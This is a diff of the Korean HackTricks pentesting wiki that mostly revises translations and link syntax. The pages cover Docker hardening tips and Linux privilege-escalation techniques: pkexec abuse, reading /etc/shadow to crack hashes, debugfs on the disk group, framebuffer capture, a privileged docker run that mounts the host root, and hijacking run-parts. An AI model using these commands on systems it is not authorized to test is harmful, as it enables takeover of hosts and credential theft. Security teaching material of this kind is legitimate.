로깅과 관련된 위험을 완화합니다. 그러나 루트 사용자와 컨테이너에 `exec` 접근 권한이 있는 사용자는 여전히 비밀에 접근할 수 있습니다. +**Docker 볼륨**은 민감한 정보에 접근하기 위한 더 안전한 대안으로 권장됩니다. 이는 메모리 내의 임시 파일 시스템으로 활용될 수 있어 `docker inspect` 및 로깅과 관련된 위험을 완화합니다. 그러나 루트 사용자와 컨테이너에 `exec` 접근 권한이 있는 사용자는 여전히 비밀에 접근할 수 있습니다. -**Docker 비밀**은 민감한 정보를 처리하는 데 있어 더욱 안전한 방법을 제공합니다. 이미지 빌드 단계에서 비밀이 필요한 인스턴스의 경우, **BuildKit**은 빌드 시간 비밀을 지원하여 빌드 속도를 향상시키고 추가 기능을 제공합니다. +**Docker 비밀**은 민감한 정보를 처리하기 위한 더욱 안전한 방법을 제공합니다. 이미지 빌드 단계에서 비밀이 필요한 인스턴스의 경우, **BuildKit**은 빌드 시간 비밀을 지원하여 빌드 속도를 향상시키고 추가 기능을 제공합니다. BuildKit을 활용하려면 세 가지 방법으로 활성화할 수 있습니다: @@ -305,26 +305,30 @@ file: ./my_secret_file.txt ``` 이 구성은 Docker Compose로 서비스를 시작할 때 비밀을 사용할 수 있도록 허용합니다. -Kubernetes 환경에서는 비밀이 기본적으로 지원되며, [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 추가 관리할 수 있습니다. Kubernetes의 역할 기반 접근 제어(RBAC)는 Docker Enterprise와 유사하게 비밀 관리 보안을 강화합니다. +Kubernetes 환경에서는 비밀이 기본적으로 지원되며 [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 추가 관리할 수 있습니다. Kubernetes의 역할 기반 접근 제어(RBAC)는 Docker Enterprise와 유사하게 비밀 관리 보안을 강화합니다. ### gVisor **gVisor**는 Go로 작성된 애플리케이션 커널로, Linux 시스템 표면의 상당 부분을 구현합니다. 이는 애플리케이션과 호스트 커널 간의 **격리 경계를 제공하는** `runsc`라는 [Open Container Initiative (OCI)](https://www.opencontainers.org) 런타임을 포함합니다. `runsc` 런타임은 Docker 및 Kubernetes와 통합되어 샌드박스화된 컨테이너를 쉽게 실행할 수 있게 합니다. -{% embed url="https://github.com/google/gvisor" %} +{{#ref}} +https://github.com/google/gvisor +{{#endref}} ### Kata Containers -**Kata Containers**는 경량 가상 머신을 사용하여 안전한 컨테이너 런타임을 구축하기 위해 노력하는 오픈 소스 커뮤니티로, 컨테이너처럼 느껴지고 작동하지만 **하드웨어 가상화** 기술을 사용하여 더 강력한 작업 부하 격리를 제공합니다. +**Kata Containers**는 경량 가상 머신을 사용하여 안전한 컨테이너 런타임을 구축하기 위해 노력하는 오픈 소스 커뮤니티입니다. 이들은 컨테이너처럼 느껴지고 작동하지만, **하드웨어 가상화** 기술을 사용하여 더 강력한 작업 부하 격리를 제공합니다. -{% embed url="https://katacontainers.io/" %} +{{#ref}} +https://katacontainers.io/ +{{#endref}} ### 요약 팁 - **`--privileged` 플래그를 사용하지 않거나** [**Docker 소켓을 컨테이너 내부에 마운트하지 마십시오**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker 소켓은 컨테이너를 생성할 수 있게 하므로, 예를 들어 `--privileged` 플래그로 다른 컨테이너를 실행하여 호스트를 완전히 제어할 수 있는 쉬운 방법입니다. -- **컨테이너 내부에서 root로 실행하지 마십시오.** [**다른 사용자**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **와** [**사용자 네임스페이스**](https://docs.docker.com/engine/security/userns-remap/)**를 사용하십시오.** 컨테이너의 root는 사용자 네임스페이스로 재매핑되지 않는 한 호스트의 root와 동일합니다. 이는 주로 Linux 네임스페이스, 기능 및 cgroups에 의해 약간 제한됩니다. +- **컨테이너 내부에서 root로 실행하지 마십시오.** [**다른 사용자**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **를 사용하고** [**사용자 네임스페이스**](https://docs.docker.com/engine/security/userns-remap/) **를 사용하십시오.** 컨테이너의 root는 사용자 네임스페이스로 재매핑되지 않는 한 호스트의 root와 동일합니다. 이는 주로 Linux 네임스페이스, 기능 및 cgroups에 의해 약간 제한됩니다. - [**모든 기능을 제거하십시오**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) 및 필요한 기능만 활성화하십시오** (`--cap-add=...`). 많은 작업 부하에는 기능이 필요하지 않으며, 이를 추가하면 잠재적인 공격 범위가 증가합니다. -- [**“no-new-privileges” 보안 옵션을 사용하십시오**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **프로세스가 더 많은 권한을 얻지 못하도록 방지하십시오.** 예를 들어 suid 바이너리를 통해서입니다. +- [**“no-new-privileges” 보안 옵션을 사용하십시오**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **.** 이는 프로세스가 더 많은 권한을 얻지 못하도록 방지합니다. 예를 들어 suid 바이너리를 통해서입니다. - [**컨테이너에 사용할 수 있는 리소스를 제한하십시오**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** 리소스 제한은 서비스 거부 공격으로부터 머신을 보호할 수 있습니다. - **seccomp** [**조정하십시오**](https://docs.docker.com/engine/security/seccomp/), **AppArmor** [**(또는 SELinux)**](https://docs.docker.com/engine/security/apparmor/) 프로파일을 조정하여 컨테이너에 필요한 최소한의 작업 및 시스템 호출만 허용하십시오. - **공식 Docker 이미지를 사용하고** [**서명을 요구하십시오**](https://docs.docker.com/docker-hub/official_images/) **또는 이를 기반으로 직접 빌드하십시오.** 백도어가 있는 이미지를 상속하거나 사용하지 마십시오. 또한 루트 키와 비밀번호를 안전한 장소에 보관하십시오. Docker는 UCP로 키를 관리할 계획이 있습니다. @@ -332,13 +336,13 @@ Kubernetes 환경에서는 비밀이 기본적으로 지원되며, [Helm-Secrets - **비밀을 현명하게 관리하여 공격자가 접근하기 어렵게 하십시오.** - Docker 데몬을 **노출하는 경우 HTTPS를 사용하십시오** 클라이언트 및 서버 인증과 함께. - Dockerfile에서 **ADD 대신 COPY를 선호하십시오.** ADD는 자동으로 압축된 파일을 추출하고 URL에서 파일을 복사할 수 있습니다. COPY는 이러한 기능이 없습니다. 가능한 경우 ADD 사용을 피하여 원격 URL 및 Zip 파일을 통한 공격에 취약하지 않도록 하십시오. -- 각 마이크로 서비스에 대해 **별도의 컨테이너를 가지십시오.** +- **각 마이크로 서비스에 대해 별도의 컨테이너를 가지십시오.** - **컨테이너 내부에 ssh를 두지 마십시오.** “docker exec”를 사용하여 컨테이너에 ssh할 수 있습니다. - **더 작은** 컨테이너 **이미지를 가지십시오.** ## Docker 탈출 / 권한 상승 -**Docker 컨테이너 내부에 있거나** **docker 그룹의 사용자에 대한 접근 권한이 있는 경우**, **탈출 및 권한 상승을 시도할 수 있습니다**: +당신이 **docker 컨테이너 내부에 있거나** **docker 그룹의 사용자에 접근할 수 있다면**, **탈출하고 권한을 상승시키려고 시도할 수 있습니다**: {{#ref}} docker-breakout-privilege-escalation/ @@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/ ## Docker 인증 플러그인 우회 -Docker 소켓에 접근하거나 **docker 그룹의 사용자에 대한 접근 권한이 있지만 Docker 인증 플러그인에 의해 행동이 제한되는 경우**, **우회할 수 있는지 확인하십시오**: +Docker 소켓에 접근하거나 **docker 그룹의 사용자에 접근할 수 있지만** Docker 인증 플러그인에 의해 행동이 제한되고 있다면, **우회할 수 있는지 확인하십시오**: {{#ref}} authz-and-authn-docker-access-authorization-plugin.md diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 46f22f7a4..409326486 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Sudo/관리 그룹 +## Sudo/Admin 그룹 ### **PE - 방법 1** @@ -22,11 +22,11 @@ sudo su ``` ### PE - Method 2 -모든 suid 바이너리를 찾고 바이너리 **Pkexec**가 있는지 확인하십시오: +모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하세요: ```bash find / -perm -4000 2>/dev/null ``` -이진 파일 **pkexec가 SUID 이진 파일**이고 **sudo** 또는 **admin** 그룹에 속하는 경우, `pkexec`를 사용하여 sudo로 이진 파일을 실행할 수 있습니다.\ +이진 파일 **pkexec가 SUID 이진 파일**이고 **sudo** 또는 **admin** 그룹에 속한다면, `pkexec`를 사용하여 sudo로 이진 파일을 실행할 수 있습니다.\ 이는 일반적으로 이러한 그룹이 **polkit 정책** 내에 있기 때문입니다. 이 정책은 기본적으로 어떤 그룹이 `pkexec`를 사용할 수 있는지를 식별합니다. 다음을 사용하여 확인하십시오: ```bash cat /etc/polkit-1/localauthority.conf.d/* @@ -72,13 +72,13 @@ sudo su ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -So, read the file and try to **crack some hashes**. +그래서 파일을 읽고 **해시를 크랙해 보세요**. ## Staff Group -**staff**: 사용자가 루트 권한 없이 시스템에 로컬 수정을 추가할 수 있도록 허용합니다 (`/usr/local`). `/usr/local/bin`의 실행 파일은 모든 사용자의 PATH 변수에 포함되어 있으며, 동일한 이름의 `/bin` 및 `/usr/bin`의 실행 파일을 "덮어쓸" 수 있습니다. 모니터링/보안과 더 관련된 "adm" 그룹과 비교하십시오. [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: 사용자가 루트 권한 없이 시스템에 로컬 수정을 추가할 수 있도록 허용합니다 (`/usr/local`). (`/usr/local/bin`의 실행 파일은 모든 사용자의 PATH 변수에 포함되어 있으며, 동일한 이름의 `/bin` 및 `/usr/bin`의 실행 파일을 "덮어쓸" 수 있습니다). 모니터링/보안과 더 관련된 "adm" 그룹과 비교하십시오. [\[source\]](https://wiki.debian.org/SystemGroups) -debian 배포판에서 `$PATH` 변수는 `/usr/local/`가 우선적으로 실행된다는 것을 보여줍니다, 권한이 있는 사용자이든 아니든 관계없이. +debian 배포판에서 `$PATH` 변수는 `/usr/local/`가 우선적으로 실행된다는 것을 보여줍니다. 이는 사용자가 권한이 있든 없든 상관없이 적용됩니다. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -86,9 +86,9 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` -`/usr/local`에 있는 일부 프로그램을 탈취할 수 있다면, 루트를 쉽게 얻을 수 있습니다. +`/usr/local`에 있는 일부 프로그램을 탈취할 수 있다면, 루트 권한을 쉽게 얻을 수 있습니다. -`run-parts` 프로그램을 탈취하는 것은 루트를 얻는 쉬운 방법입니다. 대부분의 프로그램은 (crontab, ssh 로그인 시) `run-parts`를 실행합니다. +`run-parts` 프로그램을 탈취하는 것은 루트 권한을 얻는 쉬운 방법입니다. 대부분의 프로그램은 (crontab, ssh 로그인 시) `run-parts`를 실행합니다. ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -156,9 +156,9 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` -**tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에 로그인했음을 의미합니다. +**tty1**는 사용자 **yossi가 머신의 터미널에 물리적으로 로그인되어 있음을** 의미합니다. -**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 이를 위해서는 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장될 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다. +**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 이를 위해서는 **현재 화면의 이미지를 원시 데이터로 가져오고** 화면이 사용하는 해상도를 알아내야 합니다. 화면 데이터는 `/dev/fb0`에 저장될 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size @@ -167,7 +167,7 @@ cat /sys/class/graphics/fb0/virtual_size ![](<../../../images/image (463).png>) -그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 (화면을 더 잘 보여주는 것을 선택합니다): +그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 화면을 더 잘 보여주는 것을 선택합니다: ![](<../../../images/image (317).png>) @@ -179,9 +179,9 @@ cat /sys/class/graphics/fb0/virtual_size ```bash find / -group root -perm -g=w 2>/dev/null ``` -## Docker Group +## Docker 그룹 -호스트 머신의 **루트 파일 시스템을 인스턴스의 볼륨에 마운트**할 수 있으므로, 인스턴스가 시작될 때 즉시 해당 볼륨에 `chroot`를 로드합니다. 이는 사실상 머신에서 루트 권한을 부여합니다. +호스트 머신의 **루트 파일 시스템을 인스턴스의 볼륨에 마운트**할 수 있으므로, 인스턴스가 시작될 때 해당 볼륨으로 즉시 `chroot`를 로드합니다. 이는 사실상 머신에서 루트 권한을 부여합니다. ```bash docker image #Get images from the docker service @@ -201,9 +201,13 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chr docker 소켓에 대한 쓰기 권한이 있는 경우 [**docker 소켓을 악용하여 권한을 상승시키는 방법에 대한 이 게시물을 읽어보세요**](../#writable-docker-socket)**.** -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} ## lxc/lxd 그룹 @@ -214,11 +218,11 @@ docker 소켓에 대한 쓰기 권한이 있는 경우 [**docker 소켓을 악 ## Adm 그룹 일반적으로 **`adm`** 그룹의 **구성원**은 _/var/log/_에 위치한 **로그** 파일을 **읽을** 수 있는 권한을 가지고 있습니다.\ -따라서 이 그룹 내의 사용자를 침해한 경우 **로그를 확인해야** 합니다. +따라서 이 그룹 내의 사용자를 손상시킨 경우 **로그를 확인해야** 합니다. ## Auth 그룹 -OpenBSD 내에서 **auth** 그룹은 사용되는 경우 _**/etc/skey**_ 및 _**/var/db/yubikey**_ 폴더에 쓸 수 있는 권한이 있습니다.\ -이 권한은 다음 익스플로잇을 사용하여 **루트로 권한을 상승시키는** 데 악용될 수 있습니다: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +OpenBSD 내에서 **auth** 그룹은 일반적으로 _**/etc/skey**_ 및 _**/var/db/yubikey**_ 폴더에 쓸 수 있습니다.\ +이 권한은 다음 익스플로잇을 사용하여 **권한을 상승시켜** 루트로 만들 수 있습니다: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index 5cea56fe5..88e718790 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,6 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} - # Sudo/Admin Groups ## **PE - Method 1** @@ -21,27 +20,27 @@ sudo su ``` ## PE - Method 2 -모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하십시오: +모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하세요: ```bash find / -perm -4000 2>/dev/null ``` -이진 파일 pkexec가 SUID 이진 파일이고 sudo 또는 admin에 속하는 경우, pkexec를 사용하여 sudo로 이진 파일을 실행할 수 있습니다. 다음 내용을 확인하십시오: +이진 파일 pkexec가 SUID 이진 파일이고 sudo 또는 admin에 속한다면, pkexec를 사용하여 sudo로 이진 파일을 실행할 수 있습니다. 다음 내용을 확인하세요: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -여기에서 어떤 그룹이 **pkexec**를 실행할 수 있는지 확인할 수 있으며, **기본적으로** 일부 리눅스에서는 **sudo 또는 admin** 그룹이 **나타날 수 있습니다**. +여기에서 어떤 그룹이 **pkexec**를 실행할 수 있는지 확인할 수 있으며, 일부 리눅스에서는 기본적으로 **sudo 또는 admin** 그룹이 나타날 수 있습니다. **루트가 되려면 다음을 실행할 수 있습니다**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` -**pkexec**를 실행하려고 시도했지만 **오류**가 발생하면: +**pkexec**를 실행하려고 시도했는데 **오류**가 발생하면: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다**. 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2개의 서로 다른 ssh 세션**이 필요합니다: +**권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다**. 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2개의 서로 다른 ssh 세션이 필요합니다**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -74,7 +73,7 @@ sudo su # 디스크 그룹 -이 권한은 거의 **루트 접근과 동등**하며, 머신 내부의 모든 데이터에 접근할 수 있습니다. +이 권한은 기계 내부의 모든 데이터에 접근할 수 있으므로 거의 **루트 접근과 동등합니다**. 파일: `/dev/sd[a-z][1-9]` ```text @@ -93,7 +92,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt # Video Group -`w` 명령어를 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며, 다음과 같은 출력을 보여줍니다: +`w` 명령을 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며 다음과 같은 출력을 보여줍니다: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash @@ -101,7 +100,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에 로그인했음을 의미합니다. -**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 그렇게 하려면 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장될 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다. +**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 그렇게 하려면 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장할 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size @@ -110,7 +109,7 @@ cat /sys/class/graphics/fb0/virtual_size ![](../../images/image%20%28208%29.png) -그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 \(화면을 더 잘 보여주는 유형을 선택\): +그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 (화면을 더 잘 보여주는 유형을 선택하십시오): ![](../../images/image%20%28295%29.png) @@ -122,16 +121,20 @@ cat /sys/class/graphics/fb0/virtual_size ```bash find / -group root -perm -g=w 2>/dev/null ``` -# Docker 그룹 +# Docker Group -호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트할 수 있으므로, 인스턴스가 시작될 때 즉시 해당 볼륨에 `chroot`를 로드합니다. 이는 사실상 머신에서 루트를 제공하는 것입니다. +호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트할 수 있으므로 인스턴스가 시작될 때 즉시 해당 볼륨에 `chroot`를 로드합니다. 이는 사실상 머신에서 루트를 제공하는 것입니다. -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} -# lxc/lxd 그룹 +# lxc/lxd Group -[lxc - 권한 상승](lxd-privilege-escalation.md) +[lxc - Privilege Escalation](lxd-privilege-escalation.md) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/misc/references.md b/src/misc/references.md index 9e5dd6281..eb3792a1f 100644 --- a/src/misc/references.md +++ b/src/misc/references.md @@ -1,49 +1,95 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} +{{#ref}} +https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick +{{#endref}} -{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} +{{#ref}} +https://hausec.com/pentesting-cheatsheet/#_Toc475368982 +{{#endref}} -{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} +{{#ref}} +https://anhtai.me/pentesting-cheatsheet/ +{{#endref}} -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} +{{#ref}} +https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html +{{#endref}} -{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} +{{#ref}} +https://ired.team/offensive-security-experiments/offensive-security-cheetsheets +{{#endref}} -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} +{{#ref}} +https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html +{{#endref}} -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} +{{#ref}} +https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md +{{#endref}} -{% embed url="https://anhtai.me/oscp-fun-guide/" %} +{{#ref}} +https://anhtai.me/oscp-fun-guide/ +{{#endref}} -{% embed url="https://www.thehacker.recipes/" %} +{{#ref}} +https://www.thehacker.recipes/ +{{#endref}} -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} +{{#ref}} +https://github.com/swisskyrepo/PayloadsAllTheThings +{{#endref}} -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} +{{#ref}} +https://github.com/RistBS/Awesome-RedTeam-Cheatsheet +{{#endref}} -{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} +{{#ref}} +https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet +{{#endref}} -{% embed url="https://hideandsec.sh/" %} +{{#ref}} +https://hideandsec.sh/ +{{#endref}} -{% embed url="https://cheatsheet.haax.fr/" %} +{{#ref}} +https://cheatsheet.haax.fr/ +{{#endref}} -{% embed url="https://infosecwriteups.com/" %} +{{#ref}} +https://infosecwriteups.com/ +{{#endref}} -{% embed url="https://www.exploit-db.com/" %} +{{#ref}} +https://www.exploit-db.com/ +{{#endref}} -{% embed url="https://wadcoms.github.io/" %} +{{#ref}} +https://wadcoms.github.io/ +{{#endref}} -{% embed url="https://lolbas-project.github.io" %} +{{#ref}} +https://lolbas-project.github.io +{{#endref}} -{% embed url="https://pentestbook.six2dez.com/" %} +{{#ref}} +https://pentestbook.six2dez.com/ +{{#endref}} -{% embed url="https://www.hackingarticles.in/" %} +{{#ref}} +https://www.hackingarticles.in/ +{{#endref}} -{% embed url="https://pentestlab.blog/" %} +{{#ref}} +https://pentestlab.blog/ +{{#endref}} -{% embed url="https://ippsec.rocks/" %} +{{#ref}} +https://ippsec.rocks/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index 3bcd3f19c..695d583ab 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -8,6 +8,8 @@ 자세한 정보는 다음을 확인하세요: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index 5b13e9ea9..ca6a464a0 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -2,7 +2,7 @@ # 기본 정보 -[여기서](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw printing은 네트워크 프린터의 포트 9100/tcp에 연결하는 과정을 정의합니다. 이는 CUPS와 Windows 인쇄 아키텍처가 네트워크 프린터와 통신하는 데 사용하는 기본 방법으로, ‘_프린터에 사용되는 가장 간단하고 빠르며 일반적으로 가장 신뢰할 수 있는 네트워크 프로토콜_’로 간주됩니다. Raw port 9100 printing은 JetDirect, AppSocket 또는 PDL-datastream이라고도 불리며 실제로 **프린팅 프로토콜이 아닙니다**. 대신 **전송된 모든 데이터는 프린팅 장치에 의해 직접 처리됩니다**, 마치 TCP를 통한 병렬 연결처럼. LPD, IPP 및 SMB와 대조적으로, 이는 클라이언트에게 상태 및 오류 메시지를 포함한 직접적인 피드백을 보낼 수 있습니다. 이러한 **양방향 채널**은 **PJL**, **PostScript** 또는 **PCL** 명령의 **결과**에 대한 직접 **접근**을 제공합니다. 따라서 거의 모든 네트워크 프린터에서 지원되는 raw port 9100 printing은 PRET 및 PFT와 함께 보안 분석을 위한 채널로 사용됩니다. +[여기](http://hacking-printers.net/wiki/index.php/Port_9100_printing)에서: Raw printing은 네트워크 프린터의 포트 9100/tcp에 연결하는 과정을 정의합니다. 이는 CUPS와 Windows 인쇄 아키텍처가 네트워크 프린터와 통신하는 데 사용하는 기본 방법으로, ‘_프린터에 사용되는 가장 간단하고 빠르며 일반적으로 가장 신뢰할 수 있는 네트워크 프로토콜_’로 간주됩니다. Raw port 9100 printing은 JetDirect, AppSocket 또는 PDL-datastream이라고도 불리며 실제로 **프린팅 프로토콜이 아닙니다**. 대신 **전송된 모든 데이터는 인쇄 장치에 의해 직접 처리됩니다**, 마치 TCP를 통한 병렬 연결처럼. LPD, IPP 및 SMB와 대조적으로, 이는 클라이언트에게 상태 및 오류 메시지를 포함한 직접 피드백을 보낼 수 있습니다. 이러한 **양방향 채널**은 **PJL**, **PostScript** 또는 **PCL** 명령의 **결과**에 대한 직접 **접근**을 제공합니다. 따라서 거의 모든 네트워크 프린터에서 지원되는 raw port 9100 printing은 PRET 및 PFT와 함께 보안 분석을 위한 채널로 사용됩니다. 프린터 해킹에 대해 더 알고 싶다면 [**이 페이지를 읽어보세요**](http://hacking-printers.net/wiki/index.php/Main_Page). @@ -48,9 +48,11 @@ msf> use auxiliary/scanner/printer/printer_delete_file 이것은 프린터를 악용하는 데 사용할 도구입니다: -{% embed url="https://github.com/RUB-NDS/PRET" %} +{{#ref}} +https://github.com/RUB-NDS/PRET +{{#endref}} -# **쇼단** +# **Shodan** - `pjl port:9100` diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 5283572be..785de43bc 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -4,7 +4,7 @@ ## 기본 정보 -Elasticsearch는 **분산형**, **오픈 소스** 검색 및 분석 엔진으로 **모든 유형의 데이터**를 처리합니다. **속도**, **확장성**, **간단한 REST API**로 잘 알려져 있습니다. Apache Lucene을 기반으로 하여 2010년에 Elasticsearch N.V. (현재 Elastic로 알려짐)에서 처음 출시되었습니다. Elasticsearch는 데이터 수집, 보강, 저장, 분석 및 시각화를 위한 오픈 소스 도구 모음인 Elastic Stack의 핵심 구성 요소입니다. 이 스택은 일반적으로 ELK Stack이라고 하며, Logstash와 Kibana를 포함하고 있으며, 현재 Beats라는 경량 데이터 전송 에이전트를 가지고 있습니다. +Elasticsearch는 **분산형**, **오픈 소스** 검색 및 분석 엔진으로 **모든 유형의 데이터**를 처리합니다. **속도**, **확장성**, **간단한 REST API**로 잘 알려져 있습니다. Apache Lucene을 기반으로 